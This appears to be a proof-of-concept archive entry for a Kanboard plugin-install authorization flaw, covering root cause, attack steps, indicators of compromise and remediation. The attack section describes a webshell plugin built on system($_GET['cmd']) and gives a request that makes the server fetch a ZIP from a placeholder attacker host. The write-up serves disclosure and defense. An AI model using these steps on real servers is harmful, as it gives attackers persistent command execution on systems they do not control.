Kanboard — Missing Access Control on Plugin Installation Leads to Administrative RCE via Webshell Plugin (CVE-2026-25924)
by drkim-dev · 2026-07-05
- Severity
- High
- CVE
- CVE-2026-25924 / GHSA-grch-p7vf-vc4f
- Category
- web
- Affected product
- Kanboard (project management application)
- Affected versions
- <= 1.2.49 (patched in 1.2.50)
- Disclosed
- 2026-07-05
- Patch status
- patched
Tags
References
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-07-05 |
| Last Updated | 2026-02 |
| Author / Researcher | drkim-dev |
| CVE / Advisory | CVE-2026-25924 / GHSA-grch-p7vf-vc4f |
| Category | web |
| Severity | High |
| CVSS Score | 8.4 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| Status | Weaponized |
| Tags | kanboard, rce, webshell, plugin-installation, incorrect-authorization, cwe-863, cwe-94, admin-bypass, backdoor |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Kanboard (project management application) |
| Versions Affected | <= 1.2.49 (patched in 1.2.50) |
| Language / Platform | PHP |
| Authentication Required | Yes (authenticated administrator account) |
| Network Access Required | Yes |
Summary
Kanboard defines a PLUGIN_INSTALLER security constant (default disabled) that is meant to prevent installing plugins from remote URLs. The UI correctly hides the plugin-install controls when this constant is off, using Installer::isConfigured() checks in PluginController::show()/directory(). However, the actual backend PluginController::install() action only validates the CSRF token and never checks Installer::isConfigured() before calling Installer::install($pluginArchiveUrl). An authenticated administrator (or anyone who can obtain a valid CSRF token, e.g. via CSRF/XSS against an admin) can therefore call the install endpoint directly with an archive_url pointing at an attacker-hosted ZIP, causing Kanboard to download and auto-load a malicious plugin — bypassing the intended host-level restriction entirely. The included PoC plugin (Plugin.php) is a literal PHP webshell (system($_GET['cmd'])) that Kanboard’s plugin loader executes on every request once installed, giving the attacker direct OS command execution.
Vulnerability Details
Root Cause
PluginController::install() in app/Controller/PluginController.php checks only the CSRF token, omitting the Installer::isConfigured() (i.e., PLUGIN_INSTALLER constant) check that gates the equivalent UI-facing actions, so the server-side restriction against remote plugin installation can be bypassed by calling the endpoint directly.
Attack Vector
- Attacker creates a malicious Kanboard plugin (
Exploit/Plugin.php) whoseinitialize()method runssystem($_GET['cmd'])when the request contains acmdGET parameter — i.e., a webshell. - Attacker zips the plugin folder and hosts it on an attacker-controlled HTTP server (e.g.,
python3 -m http.server 80). - Attacker (as an authenticated administrator, or via a CSRF-tricked admin) requests
?controller=PluginController&action=install&archive_url=http://<attacker>/exploit.zip&csrf_token=<token>. Kanboard downloads and installs the plugin without checkingPLUGIN_INSTALLER. - Kanboard’s
Plugin\Loaderautomatically loads the installed plugin on subsequent requests, so any request carrying?...&cmd=<command>(e.g., againstDashboardController) triggerssystem()execution of the attacker’s OS command.
Impact
Full remote code execution on the Kanboard host via a persistent webshell backdoor: arbitrary file read/write, database access, and lateral movement, once an administrator-level install() call succeeds. This entry’s PoC file (Plugin.php) is intentionally a live, unauthenticated-post-install webshell — treat any copy of this file found on a live system as an active backdoor, not just documentation.
Environment / Lab Setup
Target: Kanboard <= 1.2.49
Attacker: zip, python3 (for hosting the malicious plugin archive), any HTTP client/browser
Proof of Concept
PoC Script
See
Plugin.phpin this folder — the malicious plugin payload (webshell) to be zipped and installed via the vulnerable endpoint.
| |
Installing Plugin.php as a Kanboard plugin causes its initialize() hook to register a webshell listener; any subsequent request to any Kanboard controller carrying a cmd GET parameter executes that command via system() and returns/logs the output.
Detection & Indicators of Compromise
Signs of compromise:
- Unrecognized plugin directories under Kanboard’s
plugins/folder (e.g., anExploitplugin) containingsystem()/exec()/shell_exec()calls - Outbound HTTP requests from the Kanboard server to unfamiliar external hosts (fetching the plugin archive)
- Requests to any Kanboard endpoint with an unexpected
cmd=query parameter followed by OS command output in the response
Remediation
| Action | Detail |
|---|---|
| Primary fix | Upgrade to Kanboard 1.2.50 or later, which enforces Installer::isConfigured() in PluginController::install()/update() |
| Interim mitigation | Ensure PLUGIN_INSTALLER remains disabled and unreachable, audit the plugins/ directory for unrecognized plugins, and restrict/monitor admin CSRF token exposure |
References
Notes
Mirrored from https://github.com/drkim-dev/CVE-2026-25924 on 2026-07-05. The Plugin.php file in this folder is an intentional, literal PHP webshell (system($_GET['cmd'])) included as a genuine PoC artifact demonstrating the vulnerability’s real-world impact — it is not sanitized or neutered, and should be handled as live backdoor code (do not deploy outside an isolated/authorized test environment).
| |